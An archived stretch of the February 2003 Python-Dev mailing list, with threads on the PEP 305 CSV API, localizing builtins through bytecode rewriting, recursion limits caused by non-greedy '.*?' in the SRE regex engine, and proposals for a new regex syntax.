Date: Wed, 26 Feb 2003 12:03:20 -0600
Subject: [Python-Dev] PEP 305 - CSV File API - please have a look
Message-ID: <15965.360.659692.788321@montanaro.dyndns.org>

Folks,

In advance of asking Guido to review and pronounce on PEP 305 and its
related code, I'd like to ask you to take a few minutes to review what we've
produced.  There is the PEP, of course:

    http://www.python.org/peps/pep-0305.html

but there is also source code, a large number of test cases and a libref
section available in the CVS sandbox.  Cliff Wells is working on a csvutils
module which will contain adaptations of the "sniffing" routines from his
DSV package.

Just do a "csv up -dP ." in your nondist/sandbox directory to get the latest
version of everything.  Feel free to review and/or comment on any or all of
it, but please please post your comments to the csv@mail.mojam.com mailing
list.  You can review our rather active correspondence at

    http://manatee.mojam.com/pipermail/csv/

or if you're really excited about CSV files, you can subscribe at

    http://manatee.mojam.com/mailman/listinfo/csv

Thx,

Skip


From tjreedy@udel.edu  Wed Feb 26 18:06:44 2003
From: tjreedy@udel.edu (Terry Reedy)
Date: Wed, 26 Feb 2003 13:06:44 -0500
Subject: [Python-Dev] Re: Code Generation Idea Was: Bytecode idea
References: <003101c2dd1c$04214ff0$6401a8c0@damien>        <3E5BF9F6.1@tismer.com>        <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>        <3E5C21E0.5010003@tismer.com>        <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net>        <3E5C32D0.4020509@tismer.com>        <3E5C3915.6070600@tismer.com>        <00a101c2dd4c$52ee5800$125ffea9@oemcomputer>        <15964.50898.230776.754217@montanaro.dyndns.org>        <15964.55750.86825.114047@montanaro.dyndns.org>        <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> <15964.59840.342254.176499@montanaro.dyndns.org>
Message-ID: <b3ivcs$jn1$1@main.gmane.org>

"Skip Montanaro" <skip@pobox.com> wrote in message
news:15964.59840.342254.176499@montanaro.dyndns.org...
> For code that wants to cleanly cross the boundary between Python
with no
> boolean type and Python with a boolean type, you sometimes see
>
>     True = 1==1
>     False = 1==0
>
> You get True and False if it didn't exist before and have the added
benefit
> that if it does exist, it gets found in globals() or locals()
instead of in
> __builtins__ and has the right type.

This suggests a more radical optimization that might do more speedup
than all the byte-code fiddling currently proposed: automatically
localize, at definition time, builtins used within a function.  This
would be like giving each function a customized implicit set of
default args: True=True, None=None, len=len, ...etc.
If a program alters __builtins__, def statement placement would
determine which version gets used.

A non-code-breaking alternative: add a localize() builtin that does
the fixup after the fact, something like staticmethod() and
classmethod().  If made recursively applicable to classes and modules
as well as functions, one could end the setup phase of a long running
program with localize(__import__(__name__)) to localize everything   A
speedup of fraction x at cost of time t would pay if the program runs
longer than t/x.  (Example: .05 reduction with 1 minute fixup pays
after 1/.05 = 20 minutes.)

I don't really know, but I imagine that psyco, for instance, would
benefit by having builtins localized and detectibly constant (by the
lack of any redefinition within the function).  As it is now, neither
the compiler nor psyco can assume that True, for instance, is not
rebound between function invocations.  Turning builtins into default
locals isolates a function much more than it now is.

Well, just some crazy thoughts...

Terry J. Reedy





From mal@lemburg.com  Wed Feb 26 18:23:48 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 26 Feb 2003 19:23:48 +0100
Subject: [Python-Dev] Some questions about maintenance of the regular
 expression code.
In-Reply-To: <200302260258.44868.gherron@islandtraining.com>
References: <200302260022.15512.gherron@islandtraining.com>	<3E5C8411.6080504@lemburg.com> <200302260258.44868.gherron@islandtraining.com>
Message-ID: <3E5D0634.6010504@lemburg.com>

Gary Herron wrote:
> On Wednesday 26 February 2003 01:08 am, M.-A. Lemburg wrote:
> 
>>Gary Herron wrote:
>>
>>>The first glance at the regular expression bug list and the _sre.c
>>>code results in the observation that several of the bugs are related
>>>to running over the recursion limit.  The problem comes from using a
>>>pattern containing ".*?" in a situation where it is expected to match
>>>many thousands of characters.  Each character matched by ".*?" causes
>>>one level or recursion, quickly overflowing the recursion limit.
>>
>>Wouldn't it be possible for the RE compiler to issue a warning in
>>case these kind of patterns are used ? This would be much more helpful
>>than trying to work-around the user problem.
> 
> I think not.  It's not the pattern that's the problem.  A pattern
> containing ".*?" is perfectly legitimate and useful. 

Hmm, could you explain where ".*?" is useful ?

> The problem
> arises when the pattern is used on a string which has thousands of
> characters which match.  By that point the RE compiler is right out of
> the picture.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 26 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     34 days left
EuroPython 2003, Charleroi, Belgium:                       118 days left



From gherron@islandtraining.com  Wed Feb 26 18:34:11 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Wed, 26 Feb 2003 10:34:11 -0800
Subject: [Python-Dev] Some questions about maintenance of the regular expression code.
In-Reply-To: <3E5D0634.6010504@lemburg.com>
References: <200302260022.15512.gherron@islandtraining.com> <200302260258.44868.gherron@islandtraining.com> <3E5D0634.6010504@lemburg.com>
Message-ID: <200302261034.11172.gherron@islandtraining.com>

On Wednesday 26 February 2003 10:23 am, M.-A. Lemburg wrote:
> Gary Herron wrote:
> > On Wednesday 26 February 2003 01:08 am, M.-A. Lemburg wrote:
> >>Gary Herron wrote:
> >>>The first glance at the regular expression bug list and the _sre.c
> >>>code results in the observation that several of the bugs are related
> >>>to running over the recursion limit.  The problem comes from using a
> >>>pattern containing ".*?" in a situation where it is expected to match
> >>>many thousands of characters.  Each character matched by ".*?" causes
> >>>one level or recursion, quickly overflowing the recursion limit.
> >>
> >>Wouldn't it be possible for the RE compiler to issue a warning in
> >>case these kind of patterns are used ? This would be much more helpful
> >>than trying to work-around the user problem.
> >
> > I think not.  It's not the pattern that's the problem.  A pattern
> > containing ".*?" is perfectly legitimate and useful.
>
> Hmm, could you explain where ".*?" is useful ?

Yes, easily.  It's the non-greedy version of "match all".  The manual
page for the re module has this nice example:

*?, +?, ?? 
  The "*", "+", and "?" qualifiers are all greedy; they match as much
  text as possible. Sometimes this behaviour isn't desired; if the RE
  <.*> is matched against '<H1>title</H1>', it will match the entire
  string, and not just '<H1>'. Adding "?" after the qualifier makes it
  perform the match in non-greedy or minimal fashion; as few
  characters as possible will be matched. Using .*? in the previous
  expression will match only '<H1>'.

> > The problem
> > arises when the pattern is used on a string which has thousands of
> > characters which match.  By that point the RE compiler is right out of
> > the picture.




From amk@amk.ca  Wed Feb 26 18:34:34 2003
From: amk@amk.ca (A.M. Kuchling)
Date: Wed, 26 Feb 2003 13:34:34 -0500
Subject: [Python-Dev] Re: Some questions about maintenance of the regular   expression
 code.
In-Reply-To: <3E5D0634.6010504@lemburg.com>
References: <200302260022.15512.gherron@islandtraining.com>	<3E5C8411.6080504@lemburg.com> <200302260258.44868.gherron@islandtraining.com> <3E5D0634.6010504@lemburg.com>
Message-ID: <b3j1ba$tlv$1@main.gmane.org>

M.-A. Lemburg wrote:
> Hmm, could you explain where ".*?" is useful ?

The most common example comes from writing a regex to match bits of 
HTML.  If you have a pattern like this:

   <a href="([^"]*)"> (.*) </a>

and your input text is

    <a href="a">blah</a> <a href="b">blah</a>,

group 2 in the pattern will match 'blah</a> <a href="b">blah', which is 
not the link text that you want.  If you write .*?,
then group 2 matches just "blah", which is more useful.

--amk                                                    (www.amk.ca)
Ominous, isn't it?
       -- The Doctor, in "The Awakening"




From fdrake@acm.org  Wed Feb 26 18:39:54 2003
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Wed, 26 Feb 2003 13:39:54 -0500
Subject: [Python-Dev] Some questions about maintenance of the regular
 expression code.
In-Reply-To: <200302261034.11172.gherron@islandtraining.com>
References: <200302260022.15512.gherron@islandtraining.com>
 <200302260258.44868.gherron@islandtraining.com>
 <3E5D0634.6010504@lemburg.com>
 <200302261034.11172.gherron@islandtraining.com>
Message-ID: <15965.2554.9046.712509@grendel.zope.com>

M.-A. Lemburg asked:
 > Hmm, could you explain where ".*?" is useful ?

Gary Herron responded:
 > Yes, easily.  It's the non-greedy version of "match all".  The manual
 > page for the re module has this nice example:

I think the problem is that .*? is too similar to (.*)? -- especially
for people who aren't familiar with the non-greedy versions of the
operators.  This certainly stumped me as well.

I'm not sure what can be done about that, though.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From Ludovic.Aubry@logilab.fr  Wed Feb 26 18:56:46 2003
From: Ludovic.Aubry@logilab.fr (Ludovic Aubry)
Date: Wed, 26 Feb 2003 19:56:46 +0100
Subject: [Python-Dev] Re: Code Generation Idea Was: Bytecode idea
In-Reply-To: <b3ivcs$jn1$1@main.gmane.org>
References: <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <15964.55750.86825.114047@montanaro.dyndns.org> <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> <15964.59840.342254.176499@montanaro.dyndns.org> <b3ivcs$jn1$1@main.gmane.org>
Message-ID: <20030226185645.GC24106@logilab.fr>

On Wed, Feb 26, 2003 at 01:06:44PM -0500, Terry Reedy wrote:
> 
> "Skip Montanaro" <skip@pobox.com> wrote in message
> news:15964.59840.342254.176499@montanaro.dyndns.org...
> > For code that wants to cleanly cross the boundary between Python
> with no
> > boolean type and Python with a boolean type, you sometimes see
> >
> >     True = 1==1
> >     False = 1==0
> >
> > You get True and False if it didn't exist before and have the added
> benefit
> > that if it does exist, it gets found in globals() or locals()
> instead of in
> > __builtins__ and has the right type.
> 
> This suggests a more radical optimization that might do more speedup
> than all the byte-code fiddling currently proposed: automatically
> localize, at definition time, builtins used within a function.  This
> would be like giving each function a customized implicit set of
> default args: True=True, None=None, len=len, ...etc.
> If a program alters __builtins__, def statement placement would
> determine which version gets used.
> 
Hi,

I have a piece of code that does (almost) exactly that, except at
runtime.
It's purpose is to optimize access to globals used as constants by
replacing the LOAD_GLOBAL opcode by a LOAD_CONST.
It does that by creating a new code object for the function you provide
and using a list of symbols to consider constant.

I called it bind, because it works like the postscript bind operator

the code for the main function is below, you can find the full module
at ftp://ftp.logilab.org/pub/tmp/bind.py

it can provide a 10% speedup although most of the time it is around 3% to 5%

regards,

Ludovic


from dis import HAVE_ARGUMENT
from new import code as make_code, function as make_function
import inspect

LOAD_GLOBAL = 116
LOAD_CONST = 100
EXTENDED_ARG = 143
STORE_GLOBAL = 97

def bind_code(co,globals):
    """Take a code object and a dictionnary and returns a
    new code object where the opcodes LOAD_GLOBAL are replaced
    by LOAD_CONST whenever the global's name appear in the
    dictionnary"""
    consts = list(co.co_consts)
    assigned = {}

    code = co.co_code
    new_code=""
    n = len(code)
    i = 0
    while i < n:
        c = code[i]
        op = ord(c)
        i+=1
        if op >= HAVE_ARGUMENT:
            oparg = ord(code[i]) + ord(code[i+1])*256
            i += 2
        else:
            oparg=None
        if op == LOAD_GLOBAL:
            name = co.co_names[oparg]
            if globals.has_key(name):
                k = assigned.get(name,None)
                if k==None:
                    k=len(consts)
                    assigned[name]=len(consts)
                    consts.append(globals[name])
                op = LOAD_CONST
                oparg=k
        new_code+=chr(op)
        if oparg is not None:
            new_code += chr(oparg & 255)
            new_code += chr( (oparg>>8) & 255 )

    return make_code(co.co_argcount,
                    co.co_nlocals,
                    co.co_stacksize,
                    co.co_flags,
                    new_code,
                    tuple(consts),
                    co.co_names,
                    co.co_varnames,
                    co.co_filename,
                    co.co_name,
                    co.co_firstlineno,
                    co.co_lnotab )


def bind(f,globals):
    """Returns a new function whose code object has been
    bound by bind_code()"""
    newcode = bind_code(f.func_code,globals)
    defaults = f.func_defaults or ()
    return make_function(newcode,f.func_globals,f.func_name,defaults)

-- 
Ludovic Aubry                                 LOGILAB, Paris (France).
http://www.logilab.com   http://www.logilab.fr  http://www.logilab.org


From gherron@islandtraining.com  Wed Feb 26 19:07:42 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Wed, 26 Feb 2003 11:07:42 -0800
Subject: [Python-Dev] Some questions about maintenance of the regular expression code.
In-Reply-To: <15965.2554.9046.712509@grendel.zope.com>
References: <200302260022.15512.gherron@islandtraining.com> <200302261034.11172.gherron@islandtraining.com> <15965.2554.9046.712509@grendel.zope.com>
Message-ID: <200302261107.42594.gherron@islandtraining.com>

On Wednesday 26 February 2003 10:39 am, Fred L. Drake, Jr. wrote:
> M.-A. Lemburg asked:
>  > Hmm, could you explain where ".*?" is useful ?
>
> Gary Herron responded:
>  > Yes, easily.  It's the non-greedy version of "match all".  The manual
>  > page for the re module has this nice example:
>
> I think the problem is that .*? is too similar to (.*)? -- especially
> for people who aren't familiar with the non-greedy versions of the
> operators.  This certainly stumped me as well.
>
> I'm not sure what can be done about that, though.

It stumped my for a while also, even though I've used them on
occasion.  In general I find regular expressions mostly unreadable.
Solutions for that problem would occupy a (probably long and hopefully
different) thread.



From tim.one@comcast.net  Wed Feb 26 19:25:14 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 26 Feb 2003 14:25:14 -0500
Subject: [Python-Dev] Re: Some questions about maintenance of the regular
 expression code.
In-Reply-To: <b3j1ba$tlv$1@main.gmane.org>
Message-ID: <BIEJKCLHCIOIHAGOKOLHGEAPFAAA.tim.one@comcast.net>

An irony is that *? is almost always used like so:

    .*? some_literal_string

where the user *intends* "search right for the first appearance of
some_literal_string, and chew up the characters until then".  If that's what
.*? actually meant (it doesn't), it could be implemented very efficiently
without recursion.  Instead, regexp engines work supernaturally hard to
implement something few users understand, and very few actually want.  I
love regexps <wink>.



From mal@lemburg.com  Wed Feb 26 20:35:34 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 26 Feb 2003 21:35:34 +0100
Subject: [Python-Dev] Some questions about maintenance of the regular
 expression code.
In-Reply-To: <200302261034.11172.gherron@islandtraining.com>
References: <200302260022.15512.gherron@islandtraining.com>	<200302260258.44868.gherron@islandtraining.com> <3E5D0634.6010504@lemburg.com> <200302261034.11172.gherron@islandtraining.com>
Message-ID: <3E5D2516.6090702@lemburg.com>

Gary Herron wrote:
> On Wednesday 26 February 2003 10:23 am, M.-A. Lemburg wrote:
>>>>>The first glance at the regular expression bug list and the _sre.c
>>>>>code results in the observation that several of the bugs are related
>>>>>to running over the recursion limit.  The problem comes from using a
>>>>>pattern containing ".*?" in a situation where it is expected to match
>>>>>many thousands of characters.  Each character matched by ".*?" causes
>>>>>one level or recursion, quickly overflowing the recursion limit.
>>>>
>>>>Wouldn't it be possible for the RE compiler to issue a warning in
>>>>case these kind of patterns are used ? This would be much more helpful
>>>>than trying to work-around the user problem.
>>>
>>>I think not.  It's not the pattern that's the problem.  A pattern
>>>containing ".*?" is perfectly legitimate and useful.
>>
>>Hmm, could you explain where ".*?" is useful ?
> 
> Yes, easily.  It's the non-greedy version of "match all".  The manual
> page for the re module has this nice example:
> 
> *?, +?, ?? 
>   The "*", "+", and "?" qualifiers are all greedy; they match as much
>   text as possible. Sometimes this behaviour isn't desired; if the RE
>   <.*> is matched against '<H1>title</H1>', it will match the entire
>   string, and not just '<H1>'. Adding "?" after the qualifier makes it
>   perform the match in non-greedy or minimal fashion; as few
>   characters as possible will be matched. Using .*? in the previous
>   expression will match only '<H1>'.

Ah, ok. I usually write "<[^>]+>" for these things, if at all...
I tend to use mxTextTools for parsing :-)

>>>The problem
>>>arises when the pattern is used on a string which has thousands of
>>>characters which match.  By that point the RE compiler is right out of
>>>the picture.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 26 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     34 days left
EuroPython 2003, Charleroi, Belgium:                       118 days left



From bac@OCF.Berkeley.EDU  Wed Feb 26 20:39:41 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Wed, 26 Feb 2003 12:39:41 -0800 (PST)
Subject: [Python-Dev] New regex syntax? (was: Some questions about maintenance of the
 regular expression code.)
In-Reply-To: <200302261107.42594.gherron@islandtraining.com>
References: <200302260022.15512.gherron@islandtraining.com>
 <200302261034.11172.gherron@islandtraining.com> <15965.2554.9046.712509@grendel.zope.com>
 <200302261107.42594.gherron@islandtraining.com>
Message-ID: <Pine.SOL.4.53.0302261231020.6699@death.OCF.Berkeley.EDU>

[Gary Herron]

> It stumped my for a while also, even though I've used them on
> occasion.

The '|' has always thrown me; always want it to bind more tightly.

> In general I find regular expressions mostly unreadable.

Ditto.

> Solutions for that problem would occupy a (probably long and hopefully
> different) thread.
>

Is there enough interest to actually put the time and effort into
attempting to develop new regex syntax?  There is obviously always the
option to follow Perl 6's suggested new syntax.  We could also come up
with a more Pythonic solution.  I suspect this would be big enough to
require its own SIG or something.

Ping has a module at http://lfw.org/python/rxb15.py that creates regexes
patterns using a much more straight-forward syntax by using actual words
to represent things; there are functions like 'maybe', 'exactly', etc.
(don't know how powerful it is, though; he just showed it to me briefly
two weeks ago).

-Brett


From ping@zesty.ca  Wed Feb 26 20:50:31 2003
From: ping@zesty.ca (Ka-Ping Yee)
Date: Wed, 26 Feb 2003 14:50:31 -0600 (CST)
Subject: [Python-Dev] New regex syntax? (was: Some questions about
 maintenance of the regular expression code.)
In-Reply-To: <Pine.SOL.4.53.0302261231020.6699@death.OCF.Berkeley.EDU>
Message-ID: <Pine.LNX.4.33.0302261447500.31456-100000@server1.lfw.org>

On Wed, 26 Feb 2003, Brett Cannon wrote:
> Is there enough interest to actually put the time and effort into
> attempting to develop new regex syntax?

I would be excited about this.  I've long dreamed of a more
human-friendly way to do regular expressions.  Let's see if
there's interest here, and if there is enough, perhaps we can
discuss the details on a separate list (no point in having
more syntax arguments on python-dev until there's a concrete
proposal, i think).

> Ping has a module at http://lfw.org/python/rxb15.py that creates regexes
> patterns using a much more straight-forward syntax by using actual words
> to represent things; there are functions like 'maybe', 'exactly', etc.
> (don't know how powerful it is, though; he just showed it to me briefly
> two weeks ago).

It can do most things that i use regular expressions for.
I used it regularly for a while, but it's somewhat slow.


-- ?!ng



From mal@lemburg.com  Wed Feb 26 20:55:50 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 26 Feb 2003 21:55:50 +0100
Subject: [Python-Dev] Re: Code Generation Idea Was: Bytecode idea
In-Reply-To: <20030226185645.GC24106@logilab.fr>
References: <3E5C21E0.5010003@tismer.com>	<200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net>	<3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com>	<00a101c2dd4c$52ee5800$125ffea9@oemcomputer>	<15964.50898.230776.754217@montanaro.dyndns.org>	<15964.55750.86825.114047@montanaro.dyndns.org>	<200302261604.h1QG4CX20050@mercur.uphs.upenn.edu>	<15964.59840.342254.176499@montanaro.dyndns.org> <b3ivcs$jn1$1@main.gmane.org> <20030226185645.GC24106@logilab.fr>
Message-ID: <3E5D29D6.90803@lemburg.com>

Ludovic Aubry wrote:
> On Wed, Feb 26, 2003 at 01:06:44PM -0500, Terry Reedy wrote:
>>This suggests a more radical optimization that might do more speedup
>>than all the byte-code fiddling currently proposed: automatically
>>localize, at definition time, builtins used within a function.  This
>>would be like giving each function a customized implicit set of
>>default args: True=True, None=None, len=len, ...etc.
>>If a program alters __builtins__, def statement placement would
>>determine which version gets used.
>>
> 
> I have a piece of code that does (almost) exactly that, except at
> runtime.
> It's purpose is to optimize access to globals used as constants by
> replacing the LOAD_GLOBAL opcode by a LOAD_CONST.
> It does that by creating a new code object for the function you provide
> and using a list of symbols to consider constant.
 >
 > [code]

I suppose this kind of code could be put to some good use
if we ever get some of the recently discussed function modifiers
into Python:

def myFunction(a,b) [bindglobals]:
     for i in range(len(a)):
         b[i] = math.sin(a[i]) * math.cos(2)

Hmm, now we'd only need a way to describe "this function has no
side-effects and behaves like a mathematical function (same inputs
map to same outputs)"... then we could also optimize cos(2)
into the constants area :-)

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 26 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     34 days left
EuroPython 2003, Charleroi, Belgium:                       118 days left



From guido@python.org  Wed Feb 26 21:04:03 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 26 Feb 2003 16:04:03 -0500
Subject: [Python-Dev] New regex syntax? (was: Some questions about maintenance of the regular expression code.)
In-Reply-To: Your message of "Wed, 26 Feb 2003 12:39:41 PST."
 <Pine.SOL.4.53.0302261231020.6699@death.OCF.Berkeley.EDU>
References: <200302260022.15512.gherron@islandtraining.com> <200302261034.11172.gherron@islandtraining.com> <15965.2554.9046.712509@grendel.zope.com> <200302261107.42594.gherron@islandtraining.com>
 <Pine.SOL.4.53.0302261231020.6699@death.OCF.Berkeley.EDU>
Message-ID: <200302262104.h1QL44j22127@odiug.zope.com>

> Is there enough interest to actually put the time and effort into
> attempting to develop new regex syntax?

I suggest dropping this subject before it takes over all available
bandwidth in python-dev. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From gherron@islandtraining.com  Wed Feb 26 21:22:12 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Wed, 26 Feb 2003 13:22:12 -0800
Subject: [Python-Dev] New regex syntax? (was: Some questions about maintenance of the regular expression code.)
In-Reply-To: <Pine.LNX.4.33.0302261447500.31456-100000@server1.lfw.org>
References: <Pine.LNX.4.33.0302261447500.31456-100000@server1.lfw.org>
Message-ID: <200302261322.12286.gherron@islandtraining.com>

On Wednesday 26 February 2003 12:50 pm, Ka-Ping Yee wrote:
> On Wed, 26 Feb 2003, Brett Cannon wrote:
> > Is there enough interest to actually put the time and effort into
> > attempting to develop new regex syntax?

Interesting idea, but lets get back to topic at hand, that being an
attempt to *reduce* the number of regular expression bugs not
*increase* their count. :-)

What to do about RE's that hit the recursion limit? 

Gary Herron



From amk@amk.ca  Wed Feb 26 21:57:45 2003
From: amk@amk.ca (A.M. Kuchling)
Date: Wed, 26 Feb 2003 16:57:45 -0500
Subject: [Python-Dev] Re: re recursion limit
In-Reply-To: <200302261322.12286.gherron@islandtraining.com>
References: <Pine.LNX.4.33.0302261447500.31456-100000@server1.lfw.org> <200302261322.12286.gherron@islandtraining.com>
Message-ID: <b3jd88$oob$1@main.gmane.org>

Gary Herron wrote:
> What to do about RE's that hit the recursion limit? 

I haven't had a chance to look at the SRE code in detail yet, but expect 
that the problem is that the straightforward way to implement .*? is 
with a C function call.  PCRE also implemented it with a function call; 
Python avoided the limit by forking PCRE and adding a heap-allocated 
stack and pushing states onto the stack instead of recursing, which is 
why pre avoids the
recursion limit (well, until you fill up your entire heap).

The problem is that the patches to do this were extensive and ugly.
Maybe just fixing the problem for .* will be sufficient.

Incidentally, before we go making lots of changes, has anyone actually 
pinged Fredrik about the SRE code?  His usual approach with software is 
to process patches and TODO items every N months; maybe he just hasn't 
gotten around to looking at the SRE backlog?

--amk                                                    (www.amk.ca)
KENT: Thou whoreson zed! thou unnecessary letter!
       -- _King Lear_, II, ii




From gherron@islandtraining.com  Wed Feb 26 22:05:42 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Wed, 26 Feb 2003 14:05:42 -0800
Subject: [Python-Dev] Re: re recursion limit
In-Reply-To: <b3jd88$oob$1@main.gmane.org>
References: <Pine.LNX.4.33.0302261447500.31456-100000@server1.lfw.org> <200302261322.12286.gherron@islandtraining.com> <b3jd88$oob$1@main.gmane.org>
Message-ID: <200302261405.42622.gherron@islandtraining.com>

On Wednesday 26 February 2003 01:57 pm, A.M. Kuchling wrote:
> Gary Herron wrote:
> > What to do about RE's that hit the recursion limit?
>
> I haven't had a chance to look at the SRE code in detail yet, but expect
> that the problem is that the straightforward way to implement .*? is
> with a C function call.  PCRE also implemented it with a function call;
> Python avoided the limit by forking PCRE and adding a heap-allocated
> stack and pushing states onto the stack instead of recursing, which is
> why pre avoids the
> recursion limit (well, until you fill up your entire heap).
>
> The problem is that the patches to do this were extensive and ugly.
> Maybe just fixing the problem for .* will be sufficient.

Actually .* does not seem to have this recursion problem, only .*? --
I don't yet know why.

> Incidentally, before we go making lots of changes, has anyone actually
> pinged Fredrik about the SRE code?  His usual approach with software is
> to process patches and TODO items every N months; maybe he just hasn't
> gotten around to looking at the SRE backlog?

I sent a copy of my original post to him.  I've had no response yet,
but it's been less than a day.

Gary Herron



From logi.stix@verizon.net  Wed Feb 26 22:18:31 2003
From: logi.stix@verizon.net (logistix)
Date: Wed, 26 Feb 2003 17:18:31 -0500
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: <200302261552.h1QFqHa19452@odiug.zope.com>
Message-ID: <000001c2dde4$ffcc8270$20bba8c0@XP>


> -----Original Message-----
> From: python-dev-admin@python.org 
> [mailto:python-dev-admin@python.org] On Behalf Of Guido van Rossum
> Sent: Wednesday, February 26, 2003 10:52 AM
> To: skip@pobox.com
> Cc: python-dev@python.org
> Subject: Re: [Python-Dev] Bytecode analysis
> 
> 
> > I have long had a version of dis.py which imports opcode 
> info from a 
> > separate opcodes.py.  Perhaps it's time to make that change.  
> > opcodes.py could then be mostly generated automatically from 
> > Include/opcode.h.
> > 
> > (The reason for separating this out is to make opcode info 
> available 
> > to other modules, like peephole optimizers.)
> > 
> > Should I submit a patch?
> 
> Yes please!
> 

While the subject is up, I previously submitted a patch [683074] to
allow you to specify an output stream.  Right now dis just uses print,
which made it a little difficult to redirect the output.  Is there any
interest in this feature? If so, I'll update the patch against Skip's.
If not, or if there are objections, the patch can be closed out.

-Grant



From amk@amk.ca  Wed Feb 26 22:19:51 2003
From: amk@amk.ca (A.M. Kuchling)
Date: Wed, 26 Feb 2003 17:19:51 -0500
Subject: [Python-Dev] Re: re recursion limit
In-Reply-To: <200302261405.42622.gherron@islandtraining.com>
References: <Pine.LNX.4.33.0302261447500.31456-100000@server1.lfw.org> <200302261322.12286.gherron@islandtraining.com> <b3jd88$oob$1@main.gmane.org> <200302261405.42622.gherron@islandtraining.com>
Message-ID: <b3jehn$vau$1@main.gmane.org>

Gary Herron wrote:
 >I wrote:
>>Maybe just fixing the problem for .* will be sufficient.

Sorry, brain error on my part: I meant fixing it for .*?.
.* doesn't have a problem because the engine can chew up as many matches 
for '.' as possible, try the rest of the pattern, and then back up
for '.'.

In other words: .* requires stack space proportional to the size of the 
regex pattern, which is OK; .*?, as currently implemented, requires
stack space proportional to the size of *the string being matched*, 
which is what causes the problem.

--amk                                                    (www.amk.ca)
MIRANDA: Your tale, sir, would cure deafness.
       -- _The Tempest_, I, ii




From guido@python.org  Wed Feb 26 22:20:26 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 26 Feb 2003 17:20:26 -0500
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: Your message of "Wed, 26 Feb 2003 17:18:31 EST."
 <000001c2dde4$ffcc8270$20bba8c0@XP>
References: <000001c2dde4$ffcc8270$20bba8c0@XP>
Message-ID: <200302262220.h1QMKQ722789@odiug.zope.com>

> While the subject is up, I previously submitted a patch [683074] to
> allow you to specify an output stream.  Right now dis just uses print,
> which made it a little difficult to redirect the output.  Is there any
> interest in this feature? If so, I'll update the patch against Skip's.
> If not, or if there are objections, the patch can be closed out.

-1

You can redirect everything's output to a file by assigning that file
to sys.stdout.  I really don't think we need to add output file
options to every class in the standard library.

dis is primarily an interactive and debugging tool.

And you can always subclass it.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From erik@pythonware.com  Wed Feb 26 22:29:53 2003
From: erik@pythonware.com (erik heneryd)
Date: Wed, 26 Feb 2003 23:29:53 +0100
Subject: [Python-Dev] New regex syntax? (was: Some questions about maintenance
 of the regular expression code.)
In-Reply-To: <Pine.SOL.4.53.0302261231020.6699@death.OCF.Berkeley.EDU>
References: <200302260022.15512.gherron@islandtraining.com> <200302261034.11172.gherron@islandtraining.com> <15965.2554.9046.712509@grendel.zope.com> <200302261107.42594.gherron@islandtraining.com> <Pine.SOL.4.53.0302261231020.6699@death.OCF.Berkeley.EDU>
Message-ID: <3E5D3FE1.4050301@pythonware.com>

Brett Cannon wrote:

>>In general I find regular expressions mostly unreadable.
>>    
>>
>
>Ditto.
>  
>
I'd say both regular expressions and the corresponding python code can 
be pretty incomprehensible.
Regexes because they're too dense and complex, python code becuase it's 
too lengthy to describe what parts of a string you're after.
I've stumbled upon both 100 char regexes and 25 line python string 
manipulation snippets - both variants taking a while to figure out what 
they do.

...but I guess the design of a new, better, string matching sublanguage 
wasn't the topic here? or am I mistaken?

        Erik




From guido@python.org  Wed Feb 26 22:29:43 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 26 Feb 2003 17:29:43 -0500
Subject: [Python-Dev] New regex syntax? (was: Some questions about maintenance of the regular expression code.)
In-Reply-To: Your message of "Wed, 26 Feb 2003 23:29:53 +0100."
 <3E5D3FE1.4050301@pythonware.com>
References: <200302260022.15512.gherron@islandtraining.com> <200302261034.11172.gherron@islandtraining.com> <15965.2554.9046.712509@grendel.zope.com> <200302261107.42594.gherron@islandtraining.com> <Pine.SOL.4.53.0302261231020.6699@death.OCF.Berkeley.EDU>
 <3E5D3FE1.4050301@pythonware.com>
Message-ID: <200302262229.h1QMThr22877@odiug.zope.com>

> ...but I guess the design of a new, better, string matching sublanguage 
> wasn't the topic here?

Not unless you want to change Python into Perl.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From bac@OCF.Berkeley.EDU  Wed Feb 26 22:39:23 2003
